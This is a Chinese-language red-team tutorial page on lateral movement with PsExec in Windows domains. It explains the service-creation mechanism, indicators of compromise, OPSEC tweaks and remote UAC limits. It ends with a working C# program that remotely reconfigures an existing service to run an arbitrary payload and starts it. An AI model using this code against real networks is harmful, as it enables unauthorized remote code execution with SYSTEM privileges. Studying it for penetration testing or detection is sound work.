Skip to main content

PsExec

横向移动,即通过对网络中的其他主机实现访问和控制从而扩大我们的占领范围,本质是因为我们已经拿下的资源 (用户、主机等)对其他主机具有特定的权限。在之前的章节,我们通过各种域攻击手法,例如 DACL 利用、组策略利用等,攻陷了更多的用户和主机。之前,我们能对其他主机实现资源访问、代码执行,现在,我们想要获得来自这些主机的 Beacon 或 Shell。尽管横向移动的真正难点在于攻陷这些具有权限的用户或主机从而实现对他们的模仿获得特权,但在不同情况下选择最合适的横向移动方法也很重要,因为不同的横向移动方法所需要的需求不一样,也有着不同的 IoC。 

PsExec

PsExec 是攻击者最青睐的横向移动方式之一,通过 PsExec 横向移动之后,攻击者可以获得 NT AUTHORITY\SYSTEM 的权限。同名工具 PsExec 是微软 Sysinternals Suite 中的一部分 (https://learn.microsoft.com/en-us/sysinternals/downloads/psexec),正因为是微软的工具,因此不会受到杀毒软件的封锁。不过因为被广泛滥用,一些安全产品还是会封锁。接下来,我们来分解一下工具 PsExec 的原理,通过 PsExec 横向移动的原理可以略有不同,以下只是 PsExec.exe 的实现:

1:PsExec 工具会上传服务二进制文件 psexecsvc.exe 至目标的 ADMIN$ 中,通常是目录 c:\Windows
2:通过调用 OpenSCManager CreateService API 在目标主机上创建新服务,指向上传的这个服务二进制文件
3:调用 StartService API 启动服务
4:PsExec 通过命名管道psexecsvc.exe 进行通信,其中 CreateFile 用于打开对命名管道的句柄,ReadFile 以及 WriteFile 用户发送和接收数据
5:PsExec 将要执行的命令通过命名管道发送给 psexecsvc.exe,调用 CreateProcess 运行命令
6:使用结束后,通过调用 DeleteService API 来删除服务

来看看上述过程中的一些 IoC,如下图所示,我们可以看到 PSEXECSVC 服务被安装然后启动。

image.png

image.png

攻击者可以通过自定义服务名上传目录、自定义服务二进制文件等方式改善 OPSEC。

image.png

PsExec 需要用户对目标主机具有本地管理员权限,并且需要 445 端口开启。但是 2022 年的一份研究 (https://pentera.io/blog/135-is-the-new-445/) 表明,只开启端口 135 也是可以实现的。对于非默认的本地管理员组账户 (例如 admin),如果在开启了远程 UAC (默认开启),即本地账户令牌过滤策略 (https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction),使用 PsExec (对于一些其他方式的横向移动也适用) 进行横向移动会被阻止。例如,我们拥有了某主机的一个非默认本地管理员账户 admin 凭证,我们想通过 PsExec 远程访问该主机并获得 SYSTEM 权限,但会发现访问失败,这就是远程 UAC 的效果,对于域账户不适用

Windows Sysinternal PsExec

在上文,我们说过了微软原生工具 PsExec 的原理,那么至于使用方法就很直接了。如果当前用户在本地是管理员,可以用此来获得 SYSTEM 权限,需要当前是高完整度。

image.png

当前域用户对远程主机具有本地管理员权限的话,指定远程主机即可。

image.png

 

C2 

jump-psexec


第三方工具

Impacket


PaExec


BOF scshell


编程实现
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;

namespace movement
{
    class Program
    {
        [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);
        [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);
        [DllImport("advapi32", SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
        static void Main(string[] args)
        {
            String target = args[1];
            IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F);
            string ServiceName = args[2];
            IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF);
            string payload = args[3];
            bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null);
            bResult = StartService(schService, 0, null);
        }
    }
}